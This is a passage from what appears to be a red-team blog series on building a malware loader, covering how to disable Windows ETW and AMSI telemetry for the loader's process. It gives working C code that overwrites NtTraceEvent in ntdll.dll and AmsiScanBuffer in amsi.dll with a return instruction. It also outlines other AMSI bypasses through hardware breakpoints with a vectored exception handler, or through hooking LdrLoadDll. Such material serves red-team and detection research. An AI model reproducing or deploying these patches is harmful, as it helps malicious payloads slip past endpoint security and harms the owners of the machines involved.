As we can see, there is no information about the loaded assemblies available.
AMSI
AMSI is another feature provided by Microsoft. Here, an EDR or AV solution can register as a provider and will then get handed e.g. C# assemblies or PowerShell scripts before they are executed. This is done automatically e.g. while loading a C# assembly. Our payload would be unencrypted at this point and could therefore be detected.
As both ETW and AMSI are implemented in user space, we can interfere with them from there. Note, however, that attacking these features might lead to detection and it might make sense to use more creative solutions than we did in this post.
Patching functions
Like the hooks placed by EDRs, we can simply modify functions that are needed for ETW or AMSI. Note that both locations at which we are currently patching functions are well-known and patches at these locations will likely be detected by at least some EDRs.
ETW
For ETW, the NtTraceEvent syscall is used to turn over this information to the kernel from which it can be later retrieved. Therefore, patching this syscall in ntdll.dll so that it does not hand over the information should disable the feature. There are also other functions related to ETW, but the NtTaceEvent function seems to be central to the functionality of ETW and therefore a good option. A PoC can be found here. The implementation in our loader looks as follows:
// Get a handle to ntdll
HANDLE ntdll_handle = GetModuleHandle("ntdll.dll");
// Get the address of NtTraceEvent
LPVOID nttraceevent_address = GetProcAddress(ntdll_handle, "NtTraceEvent");
// We need a copy as ntprotectvirtualmemory might overwrite our address
LPVOID nttraceevent_address_copy = nttraceevent_address;
// Change the protections of the function so we can write
DWORD oldprotect = 0;
SIZE_T size = 4096;
pNtProtectVirtualMemory((HANDLE)-1, &nttraceevent_address_copy, &size, PAGE_EXECUTE_READWRITE, &oldprotect);
// Write a return opcode at offset 3
memcpy(nttraceevent_address+3, "\xc3", 1); // ret
// Change the protections back to the original ones
pNtProtectVirtualMemory((HANDLE)-1, &nttraceevent_address, &size, PAGE_EXECUTE_READ,&oldprotect);
AMSI
For AMSI, we can patch, for example, the AmsiScanBuffer function. The implementation currently looks very similar to the one for ETW, but we additionally need to ensure that amsi.dll is loaded:
// Get a handle to amsi.dll
HMODULE amsi_handle = LoadLibraryA("amsi.dll");
// Get the address of the AmsiScanBuffer function
LPVOID amsiscanbuffer_address = GetProcAddress(amsi_handle, "AmsiScanBuffer");
// We need a copy as ntprotectvirtualmemory might overwrite our address
LPVOID amsiscanbuffer_address_copy = amsiscanbuffer_address;
// Change the protections of the function so we can write
DWORD oldprotect = 0;
SIZE_T size = 4096;
NtProtectVirtualMemory((HANDLE)-1, &amsiscanbuffer_address_copy, &size, PAGE_READWRITE,&oldprotect);
// Write a return opcode at offset 3
memcpy(amsiscanbuffer_address+3, "\xc3", 1); // ret
// Change the protections back to the original ones
NtProtectVirtualMemory((HANDLE)-1, &amsiscanbuffer_address, &size, oldprotect,&oldprotect);
In our opinion, this is suspicious, as we are forcing a load of amsi.dll at a point where it is not needed. A better strategy would be to invoke legit functionality, which causes amsi.dll to be loaded, and to then patch it after it was loaded.
Vectored Exception Handling
There is a blog post by EthicalChaos, which discusses evading AMSI without making changes to the process memory. This works by setting a hardware breakpoint on the previously discussed functions and then using a Vectored Exception Handler to handle this hardware breakpoint. Our exception handler can then force the function to return and specify a return value indicating that everything went well. There is an implementation of this in which details can be seen.
Library Loads (AMSI)
Another idea for disabling AMSI is to prevent amsi.dll from being loaded. This could e.g. be done by adding a hook to LdrLoadDll in ntdll.dll to filter the DLLs we allow our process to load. This is done by batsec in a sample solution.
Summary
In this post, we looked at disabling ETW and AMSI for our process, which is especially relevant for loading C# executables. In the next post, we will finally be discussing how to load our actual payload and how well the loader fares against security products.